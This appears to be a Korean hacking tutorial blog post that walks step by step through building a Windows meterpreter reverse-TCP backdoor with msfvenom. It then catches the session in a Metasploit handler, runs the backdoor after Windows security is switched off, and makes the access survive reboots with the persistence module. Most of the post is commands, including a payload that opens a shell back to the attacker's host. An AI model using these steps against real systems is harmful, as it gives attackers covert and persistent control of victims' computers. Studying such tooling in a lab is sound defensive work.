이것이 점프 투 공작소

msfvenom을 이용한 백도어 공격 본문

해킹,보안

msfvenom을 이용한 백도어 공격

겅겅겅 2023. 7. 26. 23:05

백도어 공격

클라이언트측에서 사용되는 공격으로 공격자가

타겟 시스템이나 네트워크에 접근 할 수 있도록 하는 수단을 만드는 공격을 의미합니다.

주로 악성코드, 트로이 목마로 이루어지는 공격입니다.

 

msfvenom이란?

MetaSploit에서 제공하는 페이로드 생성 프로그램으로

다양한 OS와 아키텍쳐에 맞게 커스텀하여 악성코드를 만들 수 있습니다.

칼리 리눅스에서 기본적으로 사용 가능한 명령어입니다.

 

윈도우 백도어 파일 생성

msfvenom 명령어로 페이로드를 생성합니다.

윈도우 공격에 사용하기 위해 윈도우에서 사용가능한 페이로드 windows/meterpreter/reverse_tcp 를 사용합니다.

 

windows/meterpreter/reverse_tcp : 공격자가 지정한 리스너 IP와 포트로 역방향 연결을 시도하는 페이로드

msfvenom -p 페이로드 -LHOST <Kali IP> LPORT <데이터를 수신받을 포트> -f <파일확장자> > <파일명>

파일을 생성 후 ls 명령어로 확인해보면 지정한 이름으로 페이로드가 만들어져 있습니다.

msfconsole 에서 핸들러 실행

msfconsole명령어를 통해 metasploit을 실행시키고

msfconsole

백도어 페이로드를 수신 할 수 있는 Handler를 실행시켜줍니다.

use exploit/mulit/handler

핸들러에 수신받을 페이로드 지정

생성했던 페이로드를 수신 받을 수 있도록 핸들러에 지정합니다.

set payload windows/meterpreter/reverse_tcp

핸들러에 페이로드에 생성한 LHOST,LPORT 지정

핸들러에 페이로드 생성 시 지정한 호스트와 포트를 지정합니다.

set LHOST <payload 생성 시 지정한 호스트>
set LPORT <payload 생성 시 지정한 포트>
set ExitOnsession false # 타겟과 공격자의 세션이 종료되면 msfconsole이 자동으로 종료되는것 방지

백도어 파일 윈도우에서 실행

만든 백도어 파일을 타겟 윈도우로 이동시켜 실행시킵니다.

윈도우의 기본 보안설정을 종료 후 실행 가능합니다.

 

윈도우에서 바이러스가 감지되어 파일을 열거나 다운받을 수 없다고 할떄 저는 아래 포스팅을 참고하여 설정을 변경하였습니다.

https://m.blog.naver.com/hj_lee81/222934121777

 

윈도우11 바이러스가 발견됨 파일 다운로드 실패 해결방법

파일을 다운로드 하려는데 가끔 아래 이미지와 같이 '실패 - 바이러스가 발견됨' 메시지가 보이...

blog.naver.com

파일 실행 후 세션연결 확인

exploit명령어를 통해 핸들러를 실행하고, 세션을 받아들일 상태로 변경합니다.

 

-j : 핸들러가 여러 세션과 연결 될 수 있도록 합니다.

-z : 세션과 상호작용하는 쉘을 백그라운드로 실행시키도록 합니다.

exploit -j -z

exploit 을 실행된 상태로 윈도우에서 페이로드를 실행하면 아래 그림처럼 세션이 연결됩니다.

 

연결된 세션으로 접속해서 해당 사용자 권한 획득

msfconsole에 나타난 세션번호를 sessions -i <세션번호> 명령어를 통해 접속 할 수 있습니다.

세션 연결에 성공하면 현재 윈도우 사용자와 같은 권한을 가지게됩니다.

sessions -i <세션번호>

윈도우가 재실행 될 때 마다 세션연결 하도록 수정

지금 상태로는 윈도우가 종료되거나, 세션이 끊기면 윈도우에서 직접 페이로드를 실행시키지 않으면 다시 칼리와 세션을 수립할 방법이 없습니다.

그래서 페이로드에서 지속적으로 칼리와 세션을 연결하도록 하는 설정이 추가적으로 필요합니다.

먼저 연결한 세션을 background로 전환시킨 후 (background 라는 명령어를 실행시켜주면 됩니다) persistence 모듈을 실행시킵니다.

use exploit/windows/local/persistence

 

그 다음 LHOST와 session, 사용할 페이로드를 지정 후 exploit 명령어로 실행하면 

use exploit/multi/handler로 연결을 기다리고만 있으면 윈도우가 종료되었다 다시 켜져도 정상적인 세션 연결을 할 수 있습니다.

set LHOST <칼리IP>
set SESSION <윈도우와 연결된 세션번호> # sessions -i 명령어로 확인 가능
set EXE::Custom <칼리에 존재하는 세션연결을 위해 사용했던 페이로드 위치지정> # /usr/local/share/venom.exe

exploit # 실행